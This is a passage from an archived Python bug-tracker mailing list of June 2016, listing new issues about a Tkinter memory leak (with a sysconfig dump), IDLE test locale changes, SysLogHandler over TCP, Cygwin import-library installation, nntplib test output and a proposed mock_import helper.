HAVE_GRP_H = "1" HAVE_HSTRERROR = "1" HAVE_HTOLE64 = "0" HAVE_HYPOT = "1" HAVE_IEEEFP_H = "0" HAVE_IF_NAMEINDEX = "1" HAVE_INET_ATON = "1" HAVE_INET_PTON = "1" HAVE_INITGROUPS = "1" HAVE_INT32_T = "1" HAVE_INT64_T = "1" HAVE_INTTYPES_H = "1" HAVE_IO_H = "0" HAVE_IPA_PURE_CONST_BUG = "0" HAVE_KILL = "1" HAVE_KILLPG = "1" HAVE_KQUEUE = "1" HAVE_LANGINFO_H = "1" HAVE_LARGEFILE_SUPPORT = "0" HAVE_LCHFLAGS = "1" HAVE_LCHMOD = "1" HAVE_LCHOWN = "1" HAVE_LGAMMA = "1" HAVE_LIBDL = "1" HAVE_LIBDLD = "0" HAVE_LIBIEEE = "0" HAVE_LIBINTL_H = "0" HAVE_LIBREADLINE = "1" HAVE_LIBRESOLV = "0" HAVE_LIBSENDFILE = "0" HAVE_LIBUTIL_H = "0" HAVE_LINK = "1" HAVE_LINKAT = "1" HAVE_LINUX_CAN_BCM_H = "0" HAVE_LINUX_CAN_H = "0" HAVE_LINUX_CAN_RAW_FD_FRAMES = "0" HAVE_LINUX_CAN_RAW_H = "0" HAVE_LINUX_NETLINK_H = "0" HAVE_LINUX_TIPC_H = "0" HAVE_LOCKF = "1" HAVE_LOG1P = "1" HAVE_LOG2 = "1" HAVE_LONG_DOUBLE = "1" HAVE_LONG_LONG = "1" HAVE_LSTAT = "1" HAVE_LUTIMES = "1" HAVE_MAKEDEV = "1" HAVE_MBRTOWC = "1" HAVE_MEMMOVE = "1" HAVE_MEMORY_H = "1" HAVE_MEMRCHR = "0" HAVE_MKDIRAT = "1" HAVE_MKFIFO = "1" HAVE_MKFIFOAT = "0" HAVE_MKNOD = "1" HAVE_MKNODAT = "0" HAVE_MKTIME = "1" HAVE_MMAP = "1" HAVE_MREMAP = "0" HAVE_NCURSES_H = "1" HAVE_NDIR_H = "0" HAVE_NETPACKET_PACKET_H = "0" HAVE_NET_IF_H = "1" HAVE_NICE = "1" HAVE_OPENAT = "1" HAVE_OPENPTY = "1" HAVE_OSX105_SDK = "1" HAVE_PATHCONF = "1" HAVE_PAUSE = "1" HAVE_PIPE2 = "0" HAVE_PLOCK = "0" HAVE_POLL = "1" HAVE_POLL_H = "1" HAVE_POSIX_FADVISE = "0" HAVE_POSIX_FALLOCATE = "0" HAVE_PREAD = "1" HAVE_PRLIMIT = "0" HAVE_PROCESS_H = "0" HAVE_PROTOTYPES = "1" HAVE_PTHREAD_ATFORK = "1" HAVE_PTHREAD_DESTRUCTOR = "0" HAVE_PTHREAD_H = "1" HAVE_PTHREAD_INIT = "0" HAVE_PTHREAD_KILL = "1" HAVE_PTHREAD_SIGMASK = "1" HAVE_PTY_H = "0" HAVE_PUTENV = "1" HAVE_PWRITE = "1" HAVE_RAND_EGD = "1" HAVE_READLINK = "1" HAVE_READLINKAT = "1" HAVE_READV = "1" HAVE_REALPATH = "1" HAVE_RENAMEAT = "1" HAVE_RL_APPEND_HISTORY = "1" HAVE_RL_CALLBACK = "1" HAVE_RL_CATCH_SIGNAL = "1" HAVE_RL_COMPLETION_APPEND_CHARACTER = "1" HAVE_RL_COMPLETION_DISPLAY_MATCHES_HOOK = "1" HAVE_RL_COMPLETION_MATCHES = "1" HAVE_RL_COMPLETION_SUPPRESS_APPEND = "1" HAVE_RL_PRE_INPUT_HOOK = "1" HAVE_ROUND = "1" HAVE_SCHED_GET_PRIORITY_MAX = "1" HAVE_SCHED_H = "1" HAVE_SCHED_RR_GET_INTERVAL = "0" HAVE_SCHED_SETAFFINITY = "0" HAVE_SCHED_SETPARAM = "0" HAVE_SCHED_SETSCHEDULER = "0" HAVE_SELECT = "1" HAVE_SEM_GETVALUE = "1" HAVE_SEM_OPEN = "1" HAVE_SEM_TIMEDWAIT = "0" HAVE_SEM_UNLINK = "1" HAVE_SENDFILE = "1" HAVE_SETEGID = "1" HAVE_SETEUID = "1" HAVE_SETGID = "1" HAVE_SETGROUPS = "1" HAVE_SETHOSTNAME = "1" HAVE_SETITIMER = "1" HAVE_SETLOCALE = "1" HAVE_SETPGID = "1" HAVE_SETPGRP = "1" HAVE_SETPRIORITY = "1" HAVE_SETREGID = "1" HAVE_SETRESGID = "0" HAVE_SETRESUID = "0" HAVE_SETREUID = "1" HAVE_SETSID = "1" HAVE_SETUID = "1" HAVE_SETVBUF = "1" HAVE_SHADOW_H = "0" HAVE_SIGACTION = "1" HAVE_SIGALTSTACK = "1" HAVE_SIGINTERRUPT = "1" HAVE_SIGNAL_H = "1" HAVE_SIGPENDING = "1" HAVE_SIGRELSE = "1" HAVE_SIGTIMEDWAIT = "0" HAVE_SIGWAIT = "1" HAVE_SIGWAITINFO = "0" HAVE_SNPRINTF = "1" HAVE_SOCKADDR_SA_LEN = "1" HAVE_SOCKADDR_STORAGE = "1" HAVE_SOCKETPAIR = "1" HAVE_SPAWN_H = "1" HAVE_SSIZE_T = "1" HAVE_STATVFS = "1" HAVE_STAT_TV_NSEC = "0" HAVE_STAT_TV_NSEC2 = "1" HAVE_STDARG_PROTOTYPES = "1" HAVE_STDINT_H = "1" HAVE_STDLIB_H = "1" HAVE_STD_ATOMIC = "0" HAVE_STRDUP = "1" HAVE_STRFTIME = "1" HAVE_STRINGS_H = "1" HAVE_STRING_H = "1" HAVE_STRLCPY = "1" HAVE_STROPTS_H = "0" HAVE_STRUCT_STAT_ST_BIRTHTIME = "1" HAVE_STRUCT_STAT_ST_BLKSIZE = "1" HAVE_STRUCT_STAT_ST_BLOCKS = "1" HAVE_STRUCT_STAT_ST_FLAGS = "1" HAVE_STRUCT_STAT_ST_GEN = "1" HAVE_STRUCT_STAT_ST_RDEV = "1" HAVE_STRUCT_TM_TM_ZONE = "1" HAVE_ST_BLOCKS = "1" HAVE_SYMLINK = "1" HAVE_SYMLINKAT = "1" HAVE_SYNC = "1" HAVE_SYSCONF = "1" HAVE_SYSEXITS_H = "1" HAVE_SYS_AUDIOIO_H = "0" HAVE_SYS_BSDTTY_H = "0" HAVE_SYS_DEVPOLL_H = "0" HAVE_SYS_DIR_H = "0" HAVE_SYS_ENDIAN_H = "0" HAVE_SYS_EPOLL_H = "0" HAVE_SYS_EVENT_H = "1" HAVE_SYS_FILE_H = "1" HAVE_SYS_IOCTL_H = "1" HAVE_SYS_KERN_CONTROL_H = "1" HAVE_SYS_LOADAVG_H = "0" HAVE_SYS_LOCK_H = "1" HAVE_SYS_MKDEV_H = "0" HAVE_SYS_MODEM_H = "0" HAVE_SYS_NDIR_H = "0" HAVE_SYS_PARAM_H = "1" HAVE_SYS_POLL_H = "1" HAVE_SYS_RESOURCE_H = "1" HAVE_SYS_SELECT_H = "1" HAVE_SYS_SENDFILE_H = "0" HAVE_SYS_SOCKET_H = "1" HAVE_SYS_STATVFS_H = "1" HAVE_SYS_STAT_H = "1" HAVE_SYS_SYSCALL_H = "1" HAVE_SYS_SYS_DOMAIN_H = "1" HAVE_SYS_TERMIO_H = "0" HAVE_SYS_TIMES_H = "1" HAVE_SYS_TIME_H = "1" HAVE_SYS_TYPES_H = "1" HAVE_SYS_UIO_H = "1" HAVE_SYS_UN_H = "1" HAVE_SYS_UTSNAME_H = "1" HAVE_SYS_WAIT_H = "1" HAVE_SYS_XATTR_H = "1" HAVE_TCGETPGRP = "1" HAVE_TCSETPGRP = "1" HAVE_TEMPNAM = "1" HAVE_TERMIOS_H = "1" HAVE_TERM_H = "1" HAVE_TGAMMA = "1" HAVE_TIMEGM = "1" HAVE_TIMES = "1" HAVE_TMPFILE = "1" HAVE_TMPNAM = "1" HAVE_TMPNAM_R = "0" HAVE_TM_ZONE = "1" HAVE_TRUNCATE = "1" HAVE_TZNAME = "0" HAVE_UCS4_TCL = "0" HAVE_UINT32_T = "1" HAVE_UINT64_T = "1" HAVE_UINTPTR_T = "1" HAVE_UNAME = "1" HAVE_UNISTD_H = "1" HAVE_UNLINKAT = "1" HAVE_UNSETENV = "1" HAVE_USABLE_WCHAR_T = "0" HAVE_UTIL_H = "1" HAVE_UTIMENSAT = "0" HAVE_UTIMES = "1" HAVE_UTIME_H = "1" HAVE_WAIT3 = "1" HAVE_WAIT4 = "1" HAVE_WAITID = "1" HAVE_WAITPID = "1" HAVE_WCHAR_H = "1" HAVE_WCSCOLL = "1" HAVE_WCSFTIME = "1" HAVE_WCSXFRM = "1" HAVE_WMEMCMP = "1" HAVE_WORKING_TZSET = "1" HAVE_WRITEV = "1" HAVE_ZLIB_COPY = "1" HAVE__GETPTY = "0" HGBRANCH = "" HGTAG = "" HGVERSION = "" HOST_GNU_TYPE = "x86_64-apple-darwin15.4.0" INCLDIRSTOMAKE = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include /usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include /usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include/python3.5m /usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include/python3.5m" INCLUDEDIR = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include" INCLUDEPY = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include/python3.5m" INSTALL = "/usr/bin/install -c" INSTALL_DATA = "/usr/bin/install -c -m 644" INSTALL_PROGRAM = "/usr/bin/install -c" INSTALL_SCRIPT = "/usr/bin/install -c" INSTALL_SHARED = "/usr/bin/install -c -m 555" INSTSONAME = "Python.framework/Versions/3.5/Python" IO_H = "Modules/_io/_iomodule.h" IO_OBJS = "\" LDCXXSHARED = "clang++ -bundle -undefined dynamic_lookup" LDFLAGS = "" LDLAST = "" LDLIBRARY = "Python.framework/Versions/3.5/Python" LDLIBRARYDIR = "" LDSHARED = "clang -bundle -undefined dynamic_lookup" LDVERSION = "3.5m" LIBC = "" LIBDEST = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5" LIBDIR = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib" LIBFFI_INCLUDEDIR = "" LIBM = "" LIBOBJDIR = "Python/" LIBOBJS = "" LIBPC = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/pkgconfig" LIBPL = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/config-3.5m" LIBRARY = "libpython3.5m.a" LIBRARY_OBJS = "\" LIBRARY_OBJS_OMIT_FROZEN = "\" LIBS = "-ldl -framework CoreFoundation" LIBSUBDIRS = "tkinter tkinter/test tkinter/test/test_tkinter \" LINKCC = "clang" LINKFORSHARED = "-Wl,-stack_size,1000000 -framework CoreFoundation Python.framework/Versions/3.5/Python" LIPO_32BIT_FLAGS = "" LLVM_PROF_ERR = "yes" LLVM_PROF_FILE = "LLVM_PROFILE_FILE="code-%p.profclangr"" LLVM_PROF_MERGER = "llvm-profdata merge -output=code.profclangd *.profclangr" LN = "ln" LOCALMODLIBS = "" LOG1P_DROPS_ZERO_SIGN = "0" MACHDEP = "darwin" MACHDEPPATH = ":plat-darwin" MACHDEPS = "plat-darwin" MACHDEP_OBJS = "" MACHDESTLIB = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5" MACOSX_DEPLOYMENT_TARGET = "10.11" MAINCC = "clang" MAJOR_IN_MKDEV = "0" MAJOR_IN_SYSMACROS = "0" MAKESETUP = "./Modules/makesetup" MANDIR = "/usr/local/Cellar/python3/3.5.1/share/man" MKDIR_P = "./install-sh -c -d" MODLIBS = "" MODOBJS = "Modules/_threadmodule.o Modules/signalmodule.o Modules/posixmodule.o Modules/errnomodule.o Modules/pwdmodule.o Modules/_sre.o Modules/_codecsmodule.o Modules/_weakref.o Modules/_functoolsmodule.o Modules/_operator.o Modules/_collectionsmodule.o Modules/itertoolsmodule.o Modules/atexitmodule.o Modules/_stat.o Modules/timemodule.o Modules/_localemodule.o Modules/_iomodule.o Modules/iobase.o Modules/fileio.o Modules/bytesio.o Modules/bufferedio.o Modules/textio.o Modules/stringio.o Modules/zipimport.o Modules/faulthandler.o Modules/_tracemalloc.o Modules/hashtable.o Modules/symtablemodule.o Modules/xxsubtype.o" MODULE_OBJS = "\" MULTIARCH = "" MVWDELCH_IS_EXPRESSION = "1" NO_AS_NEEDED = "" OBJECT_OBJS = "\" OPCODETARGETGEN = "\" OPCODETARGETGEN_FILES = "\" OPCODETARGETS_H = "\" OPCODE_H = "./Include/opcode.h" OPCODE_H_DIR = "./Include" OPCODE_H_GEN = "python ./Tools/scripts/generate_opcode_h.py ./Lib/opcode.py ./Include/opcode.h" OPCODE_H_SCRIPT = "./Tools/scripts/generate_opcode_h.py" OPT = "-DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes" OTHER_LIBTOOL_OPT = "" PACKAGE_BUGREPORT = "0" PACKAGE_NAME = "0" PACKAGE_STRING = "0" PACKAGE_TARNAME = "0" PACKAGE_URL = "0" PACKAGE_VERSION = "0" PARSER_HEADERS = "\" PARSER_OBJS = "\ Parser/myreadline.o Parser/parsetok.o Parser/tokenizer.o" PGEN = "Parser/pgen" PGENOBJS = "\ \" PGENSRCS = "\ \" PGOBJS = "\" PGO_PROF_GEN_FLAG = "-fprofile-instr-generate" PGO_PROF_USE_FLAG = "-fprofile-instr-use=code.profclangd" PGSRCS = "\" PLATDIR = "plat-darwin" POBJS = "\" POSIX_SEMAPHORES_NOT_ENABLED = "0" PROFILE_TASK = "-m test.regrtest --pgo" PSRCS = "\" PTHREAD_SYSTEM_SCHED_SUPPORTED = "1" PURIFY = "" PY3LIBRARY = "" PYLONG_BITS_IN_DIGIT = "0" PYTHON = "python" PYTHONFRAMEWORK = "Python" PYTHONFRAMEWORKDIR = "Python.framework" PYTHONFRAMEWORKINSTALLDIR = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework" PYTHONFRAMEWORKPREFIX = "/usr/local/Cellar/python3/3.5.1/Frameworks" PYTHONPATH = ":plat-darwin" PYTHON_FOR_BUILD = "./python.exe -E" PYTHON_HEADERS = "\" PYTHON_OBJS = "\" PY_CFLAGS = "-Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes" PY_CFLAGS_NODIST = "-Werror=declaration-after-statement" PY_CORE_CFLAGS = "-Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -Werror=declaration-after-statement -I. -IInclude -I./Include -DPy_BUILD_CORE" PY_CPPFLAGS = "-I. -IInclude -I./Include" PY_FORMAT_LONG_LONG = ""ll"" PY_FORMAT_SIZE_T = ""z"" PY_LDFLAGS = "" Py_DEBUG = "0" Py_ENABLE_SHARED = "0" Py_HASH_ALGORITHM = "0" QUICKTESTOPTS = "-x test_subprocess test_io test_lib2to3 \" RANLIB = "ranlib" READELF = ":" RESSRCDIR = "Mac/Resources/framework" RETSIGTYPE = "void" RUNSHARED = "DYLD_FRAMEWORK_PATH=/private/tmp/python320160418-12904-1t6reri/Python-3.5.1" SCRIPTDIR = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib" SETPGRP_HAVE_ARG = "0" SGI_ABI = "" SHELL = "/bin/sh" SHLIBS = "-ldl -framework CoreFoundation" SHLIB_SUFFIX = ".so" SIGNAL_OBJS = "" SIGNED_RIGHT_SHIFT_ZERO_FILLS = "0" SITEPATH = "" SIZEOF_DOUBLE = "8" SIZEOF_FLOAT = "4" SIZEOF_FPOS_T = "8" SIZEOF_INT = "4" SIZEOF_LONG = "8" SIZEOF_LONG_DOUBLE = "16" SIZEOF_LONG_LONG = "8" SIZEOF_OFF_T = "8" SIZEOF_PID_T = "4" SIZEOF_PTHREAD_T = "8" SIZEOF_SHORT = "2" SIZEOF_SIZE_T = "8" SIZEOF_TIME_T = "8" SIZEOF_UINTPTR_T = "8" SIZEOF_VOID_P = "8" SIZEOF_WCHAR_T = "4" SIZEOF__BOOL = "1" SO = ".cpython-35m-darwin.so" SOABI = "cpython-35m-darwin" SRCDIRS = "Parser Grammar Objects Python Modules Mac Programs" SRC_GDB_HOOKS = "./Tools/gdb/libpython.py" STDC_HEADERS = "1" STRICT_SYSV_CURSES = "/* Don't use ncurses extensions */" STRIPFLAG = "-s" SUBDIRS = "" SUBDIRSTOO = "Include Lib Misc" SYSLIBS = "" SYS_SELECT_WITH_SYS_TIME = "1" TANH_PRESERVES_ZERO_SIGN = "1" TCLTK_INCLUDES = "" TCLTK_LIBS = "" TESTOPTS = "" TESTPATH = "" TESTPYTHON = "DYLD_FRAMEWORK_PATH=/private/tmp/python320160418-12904-1t6reri/Python-3.5.1 ./python.exe" TESTPYTHONOPTS = "" TESTRUNNER = "DYLD_FRAMEWORK_PATH=/private/tmp/python320160418-12904-1t6reri/Python-3.5.1 ./python.exe ./Tools/scripts/run_tests.py" TESTTIMEOUT = "3600" THREADOBJ = "Python/thread.o" TIMEMODULE_LIB = "0" TIME_WITH_SYS_TIME = "1" TM_IN_SYS_TIME = "0" UNICODE_DEPS = "\" UNIVERSALSDK = "" USE_COMPUTED_GOTOS = "0" USE_INLINE = "1" VA_LIST_IS_ARRAY = "1" VERSION = "3.5" WANT_SIGFPE_HANDLER = "0" WINDOW_HAS_FLAGS = "0" WITH_DOC_STRINGS = "1" WITH_DYLD = "1" WITH_LIBINTL = "0" WITH_NEXT_FRAMEWORK = "1" WITH_PYMALLOC = "1" WITH_THREAD = "1" WITH_TSC = "0" WITH_VALGRIND = "0" X87_DOUBLE_ROUNDING = "0" XMLLIBSUBDIRS = "xml xml/dom xml/etree xml/parsers xml/sax" abiflags = "m" abs_builddir = "/private/tmp/python320160418-12904-1t6reri/Python-3.5.1" abs_srcdir = "/private/tmp/python320160418-12904-1t6reri/Python-3.5.1" base = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5" datarootdir = "/usr/local/Cellar/python3/3.5.1/share" exec_prefix = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5" installed_base = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5" installed_platbase = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5" platbase = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5" prefix = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5" projectbase = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/bin" py_version = "3.5.1" py_version_nodot = "35" py_version_short = "3.5" srcdir = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/config-3.5m" userbase = "/Users/jeremy/Library/Python/3.5" ---------- components: Tkinter messages: 269086 nosy: jeremyblow priority: normal severity: normal status: open title: Runaway memory consumption using update() type: resource usage versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 22 17:04:29 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 22 Jun 2016 21:04:29 +0000 Subject: [New-bugs-announce] [issue27372] Test_idle should stop changing locale Message-ID: <1466629469.32.0.618350098053.issue27372@psf.upfronthosting.co.za> New submission from Terry J. Reedy: test.test_idle has long resulted in warnings about the locale being changed. In 3.6, this warning causes test_idle to be tagged a failure. Though this does not (yet) turn the overall run of a buildbot from green to red, it is annoying to have success reported as a failure. The culprit is in iomenu: locale.setlocale(locale.LC_CTYPE, "") Commenting it out removed the warning and tests pass. But I don't know the real effect, if it would work for tests on all systems, and the consequence when running IDLE normally. The problem cannot be monkey-patched away since the damage is done on import. Instead I added 'testing = False' to idlelib.__init__, made test_idle change it to True, and replace the locale-encoding code with "encoding = 'utf-8'" when testing is True. Serhiy, I *think* this is ready. However, another eagle-eye review would be welcome. Tests also pass with 'ascii'. Would that be better? --- Side note: the locale and encoding code could use a review from someone who knows more that me. For instance, suppressing ImportError here: try: import locale locale.setlocale(locale.LC_CTYPE, "") except (ImportError, locale.Error): pass guarantees a NameError a few lines further. There is another chunk labelled deprecated, and more might be obsolete in 3.x. But this is another issue. ---------- assignee: terry.reedy files: locale-change.diff keywords: patch messages: 269087 nosy: serhiy.storchaka, terry.reedy priority: normal severity: normal stage: patch review status: open title: Test_idle should stop changing locale type: behavior versions: Python 3.6 Added file: http://bugs.python.org/file43516/locale-change.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 23 05:04:31 2016 From: report at bugs.python.org (=?utf-8?b?5ZC05YaJ5rOi?=) Date: Thu, 23 Jun 2016 09:04:31 +0000 Subject: [New-bugs-announce] [issue27373] logging.handlers.SysLogHandler with TCP not working on rsyslog5.8 Message-ID: <1466672671.84.0.9141309622.issue27373@psf.upfronthosting.co.za> New submission from ???: logging.handlers.SysLogHandler with TCP not working on rsyslog5.8, but newer version rsyslog8.19 is fine. I use SysLogHandler with TCP to send message to remote rsyslog server failed, but success with bash below: echo "<133>$0[$$]: Test syslog message from Netcat" | nc -w1 -t 192.168.1.23 514 this is my script: #!/usr/bin/env python # -*- coding: utf-8 -*- import logging import logging.handlers import socket import syslog my_logger = logging.getLogger('MyLogger') # logger is singleton my_logger.setLevel(logging.DEBUG) if __name__ == '__main__': handler = logging.handlers.SysLogHandler(address=('192.168.1.23', 514), facility="auth", socktype=socket.SOCK_STREAM) my_logger.addHandler(handler) my_logger.critical('this is critical') handler.flush() handler.close() my_logger.removeHandler(handler) CentOS version is 6.6 Python version is 2.7.10 This is easy to repeat on my serval CentOS Server. And I attach tcpdump result of script and bash. ---------- components: Library (Lib) files: fail.log messages: 269112 nosy: vinay.sajip, ??? priority: normal severity: normal status: open title: logging.handlers.SysLogHandler with TCP not working on rsyslog5.8 type: behavior versions: Python 2.7 Added file: http://bugs.python.org/file43518/fail.log _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 23 11:20:38 2016 From: report at bugs.python.org (Erik Bray) Date: Thu, 23 Jun 2016 15:20:38 +0000 Subject: [New-bugs-announce] [issue27374] Cygwin: Makefile does not install DLL import library Message-ID: <1466695238.23.0.601958974473.issue27374@psf.upfronthosting.co.za> New submission from Erik Bray: When building Python on Cygwin, both a libpython-X.Y.dll and a libpython-X.Y.dll.a are created (see https://cygwin.com/cygwin-ug-net/dll.html). The latter is an "import library" consisting of stubs for functions in the DLL so that it can be linked to statically when building, for example, extension modules. The odd bit is that in the altbininstall target if the $(DLLLIBRARY) variable (which references the .dll itself) is defined then only it is installed, while $(LDLIBRARY) (which in this cases references the .dll.a import library) is *not* installed, except in $(prefix)/lib/pythonX.Y/config, which is not normally on the linker search path, or even included by python-config --ldflags. Therefore static linking to libpython fails, unless the search path is explicitly modified, or a symlink is created from $(prefix)/lib/pythonX.Y/config/libpython.dll.a to $(prefix)/lib. In fact the Makefile already does the latter, again not if $(DLLLIBRARY) is defined. In fact Cygwin's own package for Python manually creates the latter symlink in its install script. But I would consider it a bug in Python's Makefile that it doesn't handle this. I first asked on Python-dev about this back in April but got no reply (understandably) probably due to the lack of core devs who can comment on Cygwin :) ---------- components: Installation files: cygwin-ldlibrary.patch keywords: patch messages: 269116 nosy: erik.bray priority: normal severity: normal status: open title: Cygwin: Makefile does not install DLL import library type: behavior Added file: http://bugs.python.org/file43519/cygwin-ldlibrary.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 23 12:33:32 2016 From: report at bugs.python.org (raphi rose) Date: Thu, 23 Jun 2016 16:33:32 +0000 Subject: [New-bugs-announce] [issue27375] error in "make test", while trying to install python on linux computer Message-ID: <1466699612.27.0.651436554447.issue27375@psf.upfronthosting.co.za> New submission from raphi rose: I am using ubuntu 14.04, and I am trying to install a newer version of python, instead of 2.7.6 I'm trying to use 3.5.1. to do this I downloaded the tar.xz file, extracted it to a directory in my computer (not the /usr/local/bin/). I then went into the terminal and changed to the directory it was in, used $./configure, $make, $make test, and in the test it came up with an error, i then did $make testall, same error, finally i used $./python -m test -v test_nntplib, and it came up with this: == CPython 3.5.1 (default, Jun 23 2016, 10:51:23) [GCC 4.8.4] == Linux-3.13.0-88-generic-x86_64-with-debian-jessie-sid little-endian == hash algorithm: siphash24 64bit == /home/rrose/temp/Python-3.5.1/build/test_python_18970 Testing with flags: sys.flags(debug=0, inspect=0, interactive=0, optimize=0, dont_write_bytecode=0, no_user_site=0, no_site=0, ignore_environment=0, verbose=0, bytes_warning=0, quiet=0, hash_randomization=1, isolated=0) [1/1] test_nntplib test_caps_only_after_login (test.test_nntplib.CapsAfterLoginNNTPv2Tests) ... ok test_decode_header (test.test_nntplib.MiscTests) ... ok test_parse_datetime (test.test_nntplib.MiscTests) ... ok test_parse_overview (test.test_nntplib.MiscTests) ... ok test_parse_overview_fmt (test.test_nntplib.MiscTests) ... ok test_ssl_support (test.test_nntplib.MiscTests) ... skipped 'requires SSL support' test_unparse_datetime (test.test_nntplib.MiscTests) ... ok test_unparse_datetime_legacy (test.test_nntplib.MiscTests) ... ok test_bad_capabilities (test.test_nntplib.MockSocketTests) ... ok test_bad_welcome (test.test_nntplib.MockSocketTests) ... ok test_login_aborted (test.test_nntplib.MockSocketTests) ... ok test_service_permanently_unavailable (test.test_nntplib.MockSocketTests) ... ok test_service_temporarily_unavailable (test.test_nntplib.MockSocketTests) ... ok test_bad_capabilities (test.test_nntplib.MockSslTests) ... skipped 'requires SSL support' test_bad_welcome (test.test_nntplib.MockSslTests) ... skipped 'requires SSL support' test_login_aborted (test.test_nntplib.MockSslTests) ... skipped 'requires SSL support' test_service_permanently_unavailable (test.test_nntplib.MockSslTests) ... skipped 'requires SSL support' test_service_temporarily_unavailable (test.test_nntplib.MockSslTests) ... skipped 'requires SSL support' test_article (test.test_nntplib.NNTPv1Tests) ... ok test_article_file (test.test_nntplib.NNTPv1Tests) ... ok test_authinfo (test.test_nntplib.NNTPv1Tests) ... ok test_body (test.test_nntplib.NNTPv1Tests) ... ok test_body_file (test.test_nntplib.NNTPv1Tests) ... ok test_caps (test.test_nntplib.NNTPv1Tests) ... ok test_date (test.test_nntplib.NNTPv1Tests) ... ok test_description (test.test_nntplib.NNTPv1Tests) ... ok test_descriptions (test.test_nntplib.NNTPv1Tests) ... ok test_group (test.test_nntplib.NNTPv1Tests) ... ok test_head (test.test_nntplib.NNTPv1Tests) ... ok test_head_file (test.test_nntplib.NNTPv1Tests) ... ok test_help (test.test_nntplib.NNTPv1Tests) ... ok test_ihave (test.test_nntplib.NNTPv1Tests) ... ok test_last (test.test_nntplib.NNTPv1Tests) ... ok test_list (test.test_nntplib.NNTPv1Tests) ... ok test_newnews (test.test_nntplib.NNTPv1Tests) ... ok test_next (test.test_nntplib.NNTPv1Tests) ... ok test_over (test.test_nntplib.NNTPv1Tests) ... ok test_post (test.test_nntplib.NNTPv1Tests) ... ok test_quit (test.test_nntplib.NNTPv1Tests) ... ok test_stat (test.test_nntplib.NNTPv1Tests) ... ok test_too_long_lines (test.test_nntplib.NNTPv1Tests) ... ok test_welcome (test.test_nntplib.NNTPv1Tests) ... ok test_xover (test.test_nntplib.NNTPv1Tests) ... ok test_article (test.test_nntplib.NNTPv2Tests) ... ok test_article_file (test.test_nntplib.NNTPv2Tests) ... ok test_authinfo (test.test_nntplib.NNTPv2Tests) ... ok test_body (test.test_nntplib.NNTPv2Tests) ... ok test_body_file (test.test_nntplib.NNTPv2Tests) ... ok test_caps (test.test_nntplib.NNTPv2Tests) ... ok test_date (test.test_nntplib.NNTPv2Tests) ... ok test_description (test.test_nntplib.NNTPv2Tests) ... ok test_descriptions (test.test_nntplib.NNTPv2Tests) ... ok test_group (test.test_nntplib.NNTPv2Tests) ... ok test_head (test.test_nntplib.NNTPv2Tests) ... ok test_head_file (test.test_nntplib.NNTPv2Tests) ... ok test_help (test.test_nntplib.NNTPv2Tests) ... ok test_ihave (test.test_nntplib.NNTPv2Tests) ... ok test_last (test.test_nntplib.NNTPv2Tests) ... ok test_list (test.test_nntplib.NNTPv2Tests) ... ok test_newnews (test.test_nntplib.NNTPv2Tests) ... ok test_next (test.test_nntplib.NNTPv2Tests) ... ok test_over (test.test_nntplib.NNTPv2Tests) ... ok test_post (test.test_nntplib.NNTPv2Tests) ... ok test_quit (test.test_nntplib.NNTPv2Tests) ... ok test_stat (test.test_nntplib.NNTPv2Tests) ... ok test_too_long_lines (test.test_nntplib.NNTPv2Tests) ... ok test_welcome (test.test_nntplib.NNTPv2Tests) ... ok test_xover (test.test_nntplib.NNTPv2Tests) ... ok skipped "Use of the 'network' resource not enabled" test_module_all_attribute (test.test_nntplib.PublicAPITests) ... ok test_we_are_in_reader_mode_after_connect (test.test_nntplib.SendReaderNNTPv2Tests) ... ok ---------------------------------------------------------------------- Ran 70 tests in 0.035s OK (skipped=7) 1 test OK. if anyone could tell me how to fix this that would be great, thanks! ---------- components: Build, Installation, Tests messages: 269124 nosy: raphros priority: normal severity: normal status: open title: error in "make test", while trying to install python on linux computer type: compile error versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 23 13:12:17 2016 From: report at bugs.python.org (Eyal Posener) Date: Thu, 23 Jun 2016 17:12:17 +0000 Subject: [New-bugs-announce] [issue27376] Add mock_import method to mock module Message-ID: <1466701937.33.0.949904358819.issue27376@psf.upfronthosting.co.za> New submission from Eyal Posener: Add mock_import method. A helper function to mask ``ImportError``s on a scoped code, using the ``with`` statement, or in method a method used as a decorator. Failed imports will be ignored, unless specified by the *do_not_mock* argument. The *do_not_mock* argument is a package or module name, or package or module names list. When specified, and 